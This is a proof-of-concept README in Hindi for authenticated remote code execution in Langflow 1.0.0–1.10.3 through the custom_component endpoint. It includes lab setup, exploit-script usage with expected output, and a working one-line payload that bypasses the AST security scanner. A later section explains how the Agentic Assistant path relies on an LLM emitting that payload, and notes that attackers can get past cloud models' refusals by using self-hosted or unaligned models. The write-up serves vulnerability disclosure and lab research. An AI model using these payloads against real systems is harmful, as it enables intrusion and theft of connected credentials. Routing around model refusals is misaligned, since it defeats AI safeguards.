
CVE-2026-17633 के लिए PoC — custom_component endpoint के माध्यम से IBM Langflow OSS 1.0.0–1.10.3 में Authenticated RCE। इसमें CVE-2026-17632 AST scanner bypass शोध शामिल है।
केवल शैक्षिक उद्देश्यों के लिए। केवल उन सिस्टमों के विरुद्ध उपयोग करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित प्राधिकरण है।
Langflow LLM-संचालित अनुप्रयोगों और AI एजेंट वर्कफ़्लोज़ के निर्माण के लिए एक ओपन-सोर्स लो-कोड प्लेटफ़ॉर्म है। यह एक विज़ुअल ड्रैग-एंड-ड्रॉप इंटरफ़ेस प्रदान करता है जहाँ उपयोगकर्ता घटकों — मॉडल, रिट्रीवर, टूल्स, मेमोरी, कस्टम Python कोड — को निष्पादन योग्य फ़्लो में जोड़ सकते हैं। इसकी Custom Component सुविधा उपयोगकर्ताओं को सीधे Python में घटक व्यवहार परिभाषित करने की अनुमति देती है, जो इस शोध में शोषित हमले की सतह है।
5 अगस्त, 2026 को, IBM ने एक Security Bulletin प्रकाशित किया जिसमें Langflow OSS संस्करण 1.0.0 से 1.10.3 को प्रभावित करने वाली कई कमज़ोरियों का खुलासा किया गया। पूरा बुलेटिन यहाँ उपलब्ध है:
यह शोध उस बैच के दो CVE पर केंद्रित है:
| CVE | CVSS | सारांश |
|---|
| CVE-2026-17633 | 8.5 HIGH | /api/v1/custom_component के माध्यम से प्रमाणित RCE — कोड सीधे exec() को पास किया जाता है, बिना किसी सुरक्षा स्कैनिंग के |
| CVE-2026-17632 | 8.8 HIGH | AST सुरक्षा स्कैनर बायपास — तैयार किया गया Python कोड scan_code_security() को is_safe: True के साथ पास करता है जबकि मनमाने OS कमांड निष्पादित करता है |
दोनों CVE की खोज Langflow 1.10.3 के स्थिर स्रोत कोड विश्लेषण के माध्यम से स्वतंत्र रूप से की गई थी।
यह शोध एक पृथक लैब वातावरण में स्व-होस्टेड Langflow इंस्टेंस के विरुद्ध आयोजित किया गया था। सभी निष्कर्ष जिम्मेदारीपूर्वक प्रकट किए गए हैं। स्पष्ट लिखित प्राधिकरण के बिना सिस्टमों के विरुद्ध इसका उपयोग न करें।
Langflow OSS 1.0.0–1.10.3 में POST /api/v1/custom_component एंडपॉइंट एक प्रमाणित उपयोगकर्ता से मनमाना Python कोड स्वीकार करता है और इसे Python के exec() फ़ंक्शन के माध्यम से सर्वर-साइड निष्पादित करता है। Agentic Assistant पथ के विपरीत, यह एंडपॉइंट निष्पादन से पहले scan_code_security() या किसी अन्य AST-आधारित सामग्री सत्यापनकर्ता को नहीं कॉल करता है। कोई भी प्रमाणित उपयोगकर्ता एक ही HTTP अनुरोध से Remote Code Execution प्राप्त कर सकता है।
CWE-94 — कोड के निर्माण का अनुचित नियंत्रण
/api/v1/custom_component एंडपॉइंटस्रोत: langflow/api/v1/endpoints.py — पंक्ति 1271
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
raw_code: CustomComponentRequest,
user: CurrentActiveUser,
request: Request,
) -> CustomComponentResponse:
...
# Only check: is allow_custom_components enabled?
if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)
# No call to scan_code_security() here
component = Component(_code=effective_code)
built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)
जब LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true होता है (उत्पादन परिनियोजन में सामान्य), तो कोड शून्य सामग्री निरीक्षण के साथ सीधे build_custom_component_template() पर चला जाता है।
prepare_global_scope() और ast.Exprनिष्पादन श्रृंखला lfx/custom/validate.py में create_class() की ओर ले जाती है, जो क्लास को संकलित और निष्पादित करने से पहले prepare_global_scope() को कॉल करता है:
def prepare_global_scope(module):
exec_globals = globals().copy()
...
for node in module.body:
if isinstance(node, ast.Import | ast.ImportFrom):
imports.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
...
if definitions:
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # ← exec() happens here
मॉड्यूल स्तर पर एक बिना आवरण वाला फ़ंक्शन कॉल (जैसे os.system(...)) एक ast.Expr नोड है — यह isinstance जाँच से मेल नहीं खाता और चुपचाप त्याग दिया जाता है। हालाँकि, क्लास बॉडी के अंदर रखा गया कोड ClassDef नोड का हिस्सा होता है और जब क्लास को compile_class_code() के अंदर exec() के माध्यम से परिभाषित किया जाता है तो यह पूरी तरह से निष्पादित होता है।
यह मुख्य अंतर्दृष्टि है: पेलोड क्लास बॉडी के अंदर होना चाहिए, मॉड्यूल स्तर पर नहीं।
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")
class PocComponent(Component):
...
# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
os.system("id > /tmp/pwned.txt") # ← runs here
...
Authenticated attacker
│
▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
│
▼
build_custom_component_template()
│
▼
create_class() — lfx/custom/validate.py
│
▼
prepare_global_scope() → imports resolved
│
▼
compile_class_code() → exec(compiled_class, exec_globals)
│
▼
Class body executed at definition time
│
▼
RCE — uid=1000(user) gid=0(root) inside container
कोई LLM आवश्यक नहीं। कोई स्कैनर बायपास आवश्यक नहीं। एकल HTTP अनुरोध।
| आवश्यकता | मान |
|---|---|
| होस्ट OS | Kali Linux (परीक्षित) |
| Docker | CE 5.x + Compose plugin v2 |
| Langflow इमेज | langflowai/langflow:1.10.3 |
| RAM | कंटेनर के लिए न्यूनतम 4 GB |
लैब के लिए एक डायरेक्टरी बनाएँ और निम्नलिखित को docker-compose.yml के रूप में सहेजें:
services:
langflow:
image: langflowai/langflow:1.10.3
pull_policy: missing
restart: "no"
ports:
- "127.0.0.1:7860:7860"
environment:
- LANGFLOW_AUTO_LOGIN=false
- LANGFLOW_SUPERUSER=admin
- LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
- LANGFLOW_SECRET_KEY=change_this_to_something_random
- DO_NOT_TRACK=true
- LANGFLOW_CONFIG_DIR=/app/langflow
- LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true
volumes:
- langflow-data:/app/langflow
volumes:
langflow-data:
लैब प्रारंभ करें:
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}
ऊपर परिभाषित सुपरयूज़र क्रेडेंशियल्स के साथ http://127.0.0.1:7860 पर लॉग इन करें। एक्सेस टोकन ब्राउज़र कुकी access_token_lf में संग्रहीत होता है। वैकल्पिक रूप से, इसे API के माध्यम से प्राप्त करें:
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool
प्रतिक्रिया से access_token मान कॉपी करें।
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]
-t, --target TARGET Langflow base URL (e.g. http://127.0.0.1:7860)
-k, --token TOKEN Bearer token of the authenticated user
-c, --command COMMAND OS command to execute (default: id > /tmp/pwned.txt)
--verbose Print full payload and server response
--timeout TIMEOUT Request timeout in seconds (default: 30)
python3 exploit_CVE-2026-17633.py \
-t http://127.0.0.1:7860 \
-k <bearer_token> \
-c 'id > /tmp/pwned.txt'
अपेक्षित आउटपुट:
============================================================
PoC CVE-2026-17633 — Langflow Custom Component RCE
CVSS 8.5 HIGH — Authenticated RCE
IBM Langflow OSS 1.0.0 – 1.10.3
============================================================
[*] Health: {"status":"ok"}
[*] Target: http://127.0.0.1:7860/api/v1/custom_component
[*] Command: id > /tmp/pwned.txt
[*] Vector: class body exec() — no scanner
[*] HTTP Status: 200
============================================================
[+] VULNERABLE — CVE-2026-17633 CONFIRMED
============================================================
[+] Endpoint processed the component (200 OK)
[+] exec() triggered — command executed: id > /tmp/pwned.txt
[*] Verify the effect on the server:
docker exec <container_id> cat /tmp/pwned.txt
docker exec <container_id> cat /tmp/pwned.txt
अपेक्षित आउटपुट:
uid=1000(user) gid=0(root) groups=0(root)
नोट: Langflow 1.10.3 कंटेनर के अंदर
uid=1000(user)के रूप में चलता है, root के रूप में नहीं। हालाँकि, कंटेनर के अंदर उपयोगकर्ताgid=0(root)से संबंधित है, और वहाँ से होस्ट या जुड़ी सेवाओं (LLM प्रदाता API कुंजियाँ, डेटाबेस क्रेडेंशियल्स, वेक्टर स्टोर टोकन) तक पार्श्व गति वास्तविक पोस्ट-एक्सप्लॉइटेशन परिदृश्य है।
CVE-2026-17633 को समझने के लिए Langflow 1.10.3 के स्रोत कोड का विश्लेषण करते समय, Agentic Assistant कोड पथ की भी जाँच की गई। इससे langflow/agentic/helpers/code_security.py में scan_code_security() की खोज हुई — एक AST-आधारित सुरक्षा स्कैनर जो LLM-जनित घटक कोड पर लागू होता है इससे पहले कि वह validate_component_runtime() तक पहुँचे।
स्कैनर परिष्कृत है: यह आयात उपनामों को ट्रैक करता है, वाइल्डकार्ड आयातों का पता लगाता है, getattr() प्रतिबिंब को संभालता है, और खतरनाक कॉलों की एक व्यापक सूची (os.system, subprocess, exec, eval, __import__, आदि) को अवरुद्ध करता है।
DANGEROUS_CALLS के सावधानीपूर्वक विश्लेषण से एक अनुपस्थित प्रविष्टि का पता चला:
DANGEROUS_CALLS: dict[str, str] = {
"exec": "Use of exec() is forbidden in components",
"eval": "Use of eval() is forbidden in components",
"compile": "Use of compile() is forbidden in components",
"__import__": "Use of __import__() is forbidden in components",
"globals": "Use of globals() is forbidden in components",
"open": "Use of open() is forbidden in components",
"breakpoint": "Use of breakpoint() is forbidden in components",
# "vars" → NOT PRESENT ← gap identified here
}
vars() अनुपस्थित है। create_class() के exec() संदर्भ में, vars() exec_globals लौटाता है, जिसमें validate.py के मॉड्यूल ग्लोबल्स से विरासत में मिला importlib होता है। इसके अतिरिक्त, ["__builtins__"] एक सबस्क्रिप्ट एक्सेस (ast.Subscript) है, एट्रिब्यूट एक्सेस (ast.Attribute) नहीं, इसलिए visit_Attribute() और DANGEROUS_DUNDER_ATTRS इसे कभी निरीक्षण नहीं करते।
is_safe: Trueनिम्नलिखित पेलोड scan_code_security() को शून्य उल्लंघनों के साथ पास करता है:
vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")
कंटेनर के अंदर स्कैनर के विरुद्ध सीधे सत्यापित:
from langflow.agentic.helpers.code_security import scan_code_security
test_code = 'vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")'
result = scan_code_security(test_code)
print('is_safe:', result.is_safe)
print('violations:', result.violations)
आउटपुट:
is_safe: True
violations: ()
RCE निष्पादन की भी पुष्टि उसी exec() संदर्भ में सीधे बायपास चलाकर की गई जिसका उपयोग create_class() करता है:
import importlib, sys, ast
exec_globals = globals().copy()
exec('vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")', exec_globals)
/tmp/pwned.txt में आउटपुट:
uid=1000(user) gid=0(root) groups=0(root)
CVE-2026-17632 का शोषण Agentic Assistant पथ के माध्यम से किया जाता है:
POST /api/v1/agentic/assist/stream
→ LLM generates Python component code
→ extract_component_code() extracts the ```python``` block
→ validate_component_code() — AST structural check → PASS
→ scan_code_security() — bypass via vars() → PASS (is_safe: True)
→ validate_component_runtime() — exec() without sandbox → RCE
डिलीवरी तंत्र के लिए आवश्यक है कि LLM अपनी प्रतिक्रिया में बायपास पेलोड को शब्दशः पुन: उत्पन्न करे। व्यवहार में, सामग्री सुरक्षा फ़िल्टर वाले क्लाउड-होस्टेड LLM (OpenAI, Anthropic, अधिकांश OpenRouter मुफ़्त मॉडल) __import__, os.system, या समान पैटर्न वाले पेलोड आउटपुट करने से इनकार कर देते हैं, भले ही उन्हें सुरक्षा शोध या दस्तावेज़ीकरण के रूप में प्रस्तुत किया जाए।
यह वास्तविक दुनिया के शोषण में भी एक यथार्थवादी बाधा है: क्लाउड LLM प्रदाता कॉन्फ़िगर किए गए Langflow इंस्टेंस को लक्षित करने वाले हमलावर को भी उसी सामग्री फ़िल्टर का सामना करना पड़ेगा। यह कमज़ोरी स्व-होस्टेड मॉडल (Ollama, vLLM, LM Studio) या सुरक्षा संरेखण के बिना निजी फ़ाइन-ट्यून किए गए मॉडल का उपयोग करने वाले परिनियोजनों के विरुद्ध पूरी तरह से शोषणीय है — जो एंटरप्राइज़ Langflow परिनियोजनों का एक महत्वपूर्ण हिस्सा हैं।
AST स्कैनर बायपास (is_safe: True) और exec() RCE स्वतंत्र रूप से पुष्ट हैं। LLM के माध्यम से एंड-टू-एंड डिलीवरी श्रृंखला CVE-2026-17632 के लिए खुला शोध विषय है।
शोध एक पृथक लैब वातावरण में Langflow OSS 1.10.3 पर आयोजित किया गया। IBM Security Bulletin: https://www.ibm.com/support/pages/node/7282646